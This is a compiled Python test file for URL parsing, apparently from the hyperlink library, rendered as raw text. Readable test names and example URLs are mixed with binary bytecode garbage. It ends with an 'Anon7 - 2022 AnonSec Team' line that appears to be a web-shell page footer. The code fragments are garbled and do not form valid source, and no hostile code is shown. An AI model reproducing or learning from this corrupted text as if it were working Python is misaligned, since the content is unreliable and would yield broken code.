us%20her:passr�TrWzhttp://us her:pass@example.comFzhttp://us her:@example.comz http://us%20her:pass@example.com)rrQr4r�r]rSr��r+r^r_r0r0r1�test_encoded_userinfo�s
��
�zTestURL.test_encoded_userinfocCs�i}t�d�}t|�t|�ksJ�d||<t�d�}|�dd�}d||<t|�dks,J�t|���dgks7J�tt��tt��ksCJ�dS)Nz.http://blog.hatnote.com/ask?utm_source=geocityr	zhttp://blog.hatnote.com/ask�
utm_source�geocityr)rrQ�hashr��len�list�values)r+�url_map�url1r#r0r0r1�	test_hashs

zTestURL.test_hashcCsRt�}t|�}t|�dksJ�d|vsJ�d|vsJ�d|vs!J�d|vs'J�dS)N�rzr0r�r�)r�dirr=)r+r^r{r0r0r1�test_dirszTestURL.test_dircCs2t�d�}|��dks
J�|����dksJ�dS)Nu"http://example.com/a%20té%C3%A9stz&http://example.com/a%20t%C3%A9%C3%A9st)rrzr0r�rmr0r0r1�test_twisted_compats
zTestURL.test_twisted_compatcCs6t�d�}|�dd�}|�dd�}|��dksJ�dS)Nzhttp://example.com/?a=b&cr!r�z!http://example.com/?a=b&x=x&c&x=y)rrQr�r�rSrmr0r0r1�test_set_ordering%s
zTestURL.test_set_orderingcCs�t�d�}t�|���}||ksJ�t�|�����}||ks!J�||ks'J�t�d�}|��}|��dks8J�t�|�����}||ksGJ�dS)zSee issue #4z#urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoobz1first-segment/urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoobz'first-segment/urn:ietf:wg:oauth:2.0:oobN)rrQrSr]r�)r+r�r|r}�u4�u5�u6r0r0r1�test_schemeless_path0s

zTestURL.test_schemeless_pathcCst�d�}|��}|��dS)z4See issue #7, affecting only narrow builds (2.6-3.3)zhttps://xn--vi8hiv.wsN)rrQr]rSr8r0r0r1�test_emoji_domainCs
zTestURL.test_emoji_domaincCsF|jttddd�|jttdd�|jttdd�|jttdd�d	S)
zPer issue #6 and #8r9za/c)r"r%)�?r�)�#)�&rZr�N)r�r�rr;r0r0r1�test_delim_in_paramKszTestURL.test_delim_in_paramcCs�t�d�}t�d�}||ksJ�t�d�}t�d�}||ks J�t�d�}t�d�}||ks0J�t�d�}t�d�}||ks@J�dS)Nzhttp://example.com/zhttp://example.com)rrQr�r0r0r1�test_empty_paths_eqSs







zTestURL.test_empty_paths_eqcCs:t�d�jdks
J�|�ttjd�|�ttjt��dS)Nz#ok�oks
bytes://x.y.z)rrQr*r�r�r�r;r0r0r1�test_from_text_typeiszTestURL.test_from_text_typecCst|�ttjd�|�ttjd�|�ttjd�|�ttjd�|�ttjd�|�ttjd�|�ttjd�dS)Nzhttp://[::1/zhttp://::1]/zhttp://[[::1]/zhttp://[::1]]/zhttp://127.0.0.1:zhttp://127.0.0.1:hizhttp://127.0.0.1::80rr;r0r0r1�test_from_text_bad_authorityosz$TestURL.test_from_text_bad_authorityc	Cs�t�d�}|�d�gksJ�|�d�dgksJ�t|j�dks!J�|��}|jdks,J�|jdks3J�|jdks:J�|�d�d	gksDJ�|jd
ksKJ�|�	�dksSJ�|jdddddd
�}||kscJ�t�d�}|��}|�	�dkstJ�t�d�}|��}|�	�dks�J�tdd�jdd��	�dks�J�tdd����	�dks�J�tdddgdgddd�}|j	dd�d ks�J�|��j	dd�d!ks�J�dS)"Nz0HTTP://Example.com/A%61/./../A%61?B%62=C%63#D%64�BbzB%62zC%63�r9r	)�Aa�Cc�Ddzhttp://example.com/Aa?Bb=Cc#DdFrOzhttp://example.iozhttp://example.io/z/a%2fb/cd%3f?k%3d=v%23#testz/a%2Fb/cd%3F?k%3D=v%23#test)rz%te%stsr�)�percentsz/%te%stsz/%25te%25sts�ftpz%%%z%a%b)�%z%%r\z%:%)r"r&r)r*r4TrWzftp://%:%@/%%%/%a%b?%=%%#%z0ftp://%25:%25@/%25%25%25/%25a%25b?%25=%25%25#%25)
rrQr�r=r&�	normalizer"r%r*rS)	r+r^�norm_url�
noop_norm_url�
slashless_url�slashful_url�
delimited_url�norm_delimited_url�percenty_urlr0r0r1�test_normalizesR

�

���
	���
�zTestURL.test_normalizecCs�d}t�|�}t|�|ksJ�t|�dksJ�tr-tt|�t�s"J�tt|�t�s+J�dStt|�t�s6J�tt|�t�s?J�dS)Nu&http://example.com/á/y%20a%20y/?b=%25s*http://example.com/%C3%A1/y%20a%20y/?b=%25)rrQr#r��PY2r!r�r
r0r0r1�test_str�s
zTestURL.test_strcCs�t�d�}|��jdksJ�|��jdksJ�t�d�}|��jdks%J�|��jdks.J�|����jdks9J�d}t�|�����jdksIJ�dS)	Nuhttp://abé.com/uabé.comzxn--ab-cja.comu(http://ドメイン.テスト.co.jp#testuドメイン.テスト.co.jpzxn--eckwd4c7c.xn--zckzah.co.jpzhttp://Example.comr	)rrQr]r%r��get_decoded_url)r+r^rr0r0r1�test_idna_corners�s


�zTestURL.test_idna_cornersN)r)Or�r�r��__doc__r2r8r=rHrJrPrVr\rcrerfrirnrsrtrxr~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrrrrr&r)r.r5r7r9rBrErFrGrKrLrPrQrSrTrergrir0r0r0r1r�s�
�3		

>		*'				
	

	U"	;	9r)�
__future__r�sysr�typingrrrrrr�commonr
rrr
�_urlrr�version_inforfr(r#rRrr�rYrr0r0r0r1�<module>s 4D

Anon7 - 2022
AnonSec Team